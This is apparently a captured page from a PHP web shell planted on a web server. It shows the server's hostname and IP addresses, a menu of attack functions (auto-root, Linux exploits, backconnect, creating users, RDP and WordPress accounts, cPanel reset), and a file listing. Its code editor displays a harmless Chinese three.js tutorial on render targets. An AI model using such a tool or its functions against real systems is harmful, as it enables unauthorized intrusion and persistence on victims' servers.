Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 13.59.1.58
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
manual /
zh /
[ HOME SHELL ]
Name
Size
Permission
Action
align-html-elements-to-3d.html
32.22
KB
-rw-r--r--
backgrounds.html
14.45
KB
-rw-r--r--
billboards.html
15.58
KB
-rw-r--r--
cameras.html
27.22
KB
-rw-r--r--
canvas-textures.html
18.39
KB
-rw-r--r--
cleanup.html
17.36
KB
-rw-r--r--
custom-buffergeometry.html
23.18
KB
-rw-r--r--
debugging-glsl.html
6.52
KB
-rw-r--r--
debugging-javascript.html
29.66
KB
-rw-r--r--
fog.html
13.8
KB
-rw-r--r--
fundamentals.html
26.4
KB
-rw-r--r--
game.html
1.63
KB
-rw-r--r--
indexed-textures.html
29.6
KB
-rw-r--r--
lang.css
128
B
-rw-r--r--
lights.html
31.49
KB
-rw-r--r--
load-gltf.html
32.08
KB
-rw-r--r--
load-obj.html
32.14
KB
-rw-r--r--
material-table.html
1.87
KB
-rw-r--r--
materials.html
18.42
KB
-rw-r--r--
multiple-scenes.html
30.3
KB
-rw-r--r--
offscreencanvas.html
42.7
KB
-rw-r--r--
optimize-lots-of-objects-anima...
21.74
KB
-rw-r--r--
optimize-lots-of-objects.html
23.04
KB
-rw-r--r--
picking.html
20.44
KB
-rw-r--r--
post-processing-3dlut.html
1.67
KB
-rw-r--r--
post-processing.html
15.63
KB
-rw-r--r--
prerequisites.html
16.58
KB
-rw-r--r--
primitives.html
23.5
KB
-rw-r--r--
rendering-on-demand.html
11.88
KB
-rw-r--r--
rendertargets.html
7.87
KB
-rw-r--r--
responsive.html
15.17
KB
-rw-r--r--
scenegraph.html
29.01
KB
-rw-r--r--
setup.html
4.22
KB
-rw-r--r--
shadertoy.html
1.65
KB
-rw-r--r--
shadows.html
26.03
KB
-rw-r--r--
textures.html
31.67
KB
-rw-r--r--
tips.html
16.38
KB
-rw-r--r--
transparency.html
19.22
KB
-rw-r--r--
voxel-geometry.html
1.69
KB
-rw-r--r--
webxr-basics.html
1.6
KB
-rw-r--r--
webxr-look-to-select.html
1.66
KB
-rw-r--r--
webxr-point-to-select.html
1.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rendertargets.html
<!DOCTYPE html><html lang="zh"><head> <meta charset="utf-8"> <title>渲染目标</title> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@threejs"> <meta name="twitter:title" content="Three.js – 渲染目标"> <meta property="og:image" content="https://threejs.org/files/share.png"> <link rel="shortcut icon" href="../../files/favicon_white.ico" media="(prefers-color-scheme: dark)"> <link rel="shortcut icon" href="../../files/favicon.ico" media="(prefers-color-scheme: light)"> <link rel="stylesheet" href="../resources/lesson.css"> <link rel="stylesheet" href="../resources/lang.css"> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../../build/three.module.js" } } </script> <link rel="stylesheet" href="/manual/zh/lang.css"> </head> <body> <div class="container"> <div class="lesson-title"> <h1>渲染目标</h1> </div> <div class="lesson"> <div class="lesson-main"> <p>在three.js中,渲染目标大体上指的是可以被渲染的纹理。当它被渲染之后,你可以像使用其他纹理一样使用它。</p> <p>让我们举个简单的例子。我们将从<a href="responsive.html">the article on responsiveness</a>开始。</p> <p>渲染到渲染目标基本上跟通常的渲染一样。首先我们创建一个 <a href="/docs/#api/zh/renderers/WebGLRenderTarget"><code class="notranslate" translate="no">WebGLRenderTarget</code></a>。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const rtWidth = 512; const rtHeight = 512; const renderTarget = new THREE.WebGLRenderTarget(rtWidth, rtHeight); </pre> <p>然后我们需要一个 <a href="/docs/#api/zh/cameras/Camera"><code class="notranslate" translate="no">Camera</code></a> 和一个 <a href="/docs/#api/zh/scenes/Scene"><code class="notranslate" translate="no">Scene</code></a></p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const rtFov = 75; const rtAspect = rtWidth / rtHeight; const rtNear = 0.1; const rtFar = 5; const rtCamera = new THREE.PerspectiveCamera(rtFov, rtAspect, rtNear, rtFar); rtCamera.position.z = 2; const rtScene = new THREE.Scene(); rtScene.background = new THREE.Color('red'); </pre> <p>注意我们设置长宽比(aspect)是相对渲染目标而言的,不是画布(canvas)。 正确的长宽比取决于我们要渲染的对象。在本例,我们要将渲染目标的纹理用在方块的一个面,基于方块的面我们设置长宽比为1.0。</p> <p>我们将需要的东西添加到场景中。在本例我们使用灯光和三个方块<a href="responsive.html">from the previous article</a>。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">{ const color = 0xFFFFFF; const intensity = 1; const light = new THREE.DirectionalLight(color, intensity); light.position.set(-1, 2, 4); * rtScene.add(light); } const boxWidth = 1; const boxHeight = 1; const boxDepth = 1; const geometry = new THREE.BoxGeometry(boxWidth, boxHeight, boxDepth); function makeInstance(geometry, color, x) { const material = new THREE.MeshPhongMaterial({color}); const cube = new THREE.Mesh(geometry, material); * rtScene.add(cube); cube.position.x = x; return cube; } *const rtCubes = [ makeInstance(geometry, 0x44aa88, 0), makeInstance(geometry, 0x8844aa, -2), makeInstance(geometry, 0xaa8844, 2), ]; </pre> <p>在上个例子中的 <a href="/docs/#api/zh/scenes/Scene"><code class="notranslate" translate="no">Scene</code></a> 和 <a href="/docs/#api/zh/cameras/Camera"><code class="notranslate" translate="no">Camera</code></a> 保持不变,我们将在画布中继续使用它们,只需要添加渲染的物体。</p> <p>让我们添加使用了渲染目标纹理的方块。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const material = new THREE.MeshPhongMaterial({ map: renderTarget.texture, }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); </pre> <p>现在在渲染的时候,我们首先将渲染目标的场景(rtScene),渲染到渲染目标(注:这里有点绕,需要结合代码理解)。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function render(time) { time *= 0.001; ... // rotate all the cubes in the render target scene rtCubes.forEach((cube, ndx) => { const speed = 1 + ndx * .1; const rot = time * speed; cube.rotation.x = rot; cube.rotation.y = rot; }); // draw render target scene to render target renderer.setRenderTarget(renderTarget); renderer.render(rtScene, rtCamera); renderer.setRenderTarget(null); </pre> <p>然后我们在画布中,渲染使用了渲染目标纹理的方块的场景。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no"> // rotate the cube in the scene cube.rotation.x = time; cube.rotation.y = time * 1.1; // render the scene to the canvas renderer.render(scene, camera); </pre> <p>就是这样啦</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/render-target.html"></iframe></div> <a class="threejs_center" href="/manual/examples/render-target.html" target="_blank">点击此处在新标签页中打开</a> </div> <p></p> <p>方块是红色的,这是因为我们设置了 <code class="notranslate" translate="no">rtScene</code> 的 <code class="notranslate" translate="no">background</code> 为红色,所以渲染目标的纹理所处的背景为红色。</p> <p>渲染目标可以用在各种各样的物体上。<a href="shadows.html">Shadows</a>用了渲染目标,<a href="picking.html">Picking can use a render target</a>,多种效果<a href="post-processing.html">post processing effects</a>需要用到渲染目标。 渲染汽车的后视镜,或者3D场景中的监控实时画面,都可能用到渲染目标。</p> <p>关于 <a href="/docs/#api/zh/renderers/WebGLRenderTarget"><code class="notranslate" translate="no">WebGLRenderTarget</code></a> 的笔记。</p> <ul> <li><p>默认情况下 <a href="/docs/#api/zh/renderers/WebGLRenderTarget"><code class="notranslate" translate="no">WebGLRenderTarget</code></a> 会创建两个纹理。 颜色纹理和深度/模版纹理。如果你不需要深度或者模版纹理,你可以通过可选设置取消创建。例如:</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no"> const rt = new THREE.WebGLRenderTarget(width, height, { depthBuffer: false, stencilBuffer: false, }); </pre> </li> <li><p>你可能需要改变渲染目标的尺寸</p> <p>在上面的例子,我们创建了固定尺寸512X512的渲染目标。对于像后处理,你通常需要创建跟画布一样尺寸的渲染目标。在我们的代码中意味着,当我们改变画布的尺寸,会同时更新渲染目标尺寸,和渲染目标中正在使用的摄像机。例如:</p> <pre class="prettyprint showlinemods notranslate notranslate" translate="no">function render(time) { time *= 0.001; if (resizeRendererToDisplaySize(renderer)) { const canvas = renderer.domElement; camera.aspect = canvas.clientWidth / canvas.clientHeight; camera.updateProjectionMatrix(); + renderTarget.setSize(canvas.width, canvas.height); + rtCamera.aspect = camera.aspect; + rtCamera.updateProjectionMatrix(); } </pre></li> </ul> </div> </div> </div> <script src="../resources/prettify.js"></script> <script src="../resources/lesson.js"></script> </body></html>
Close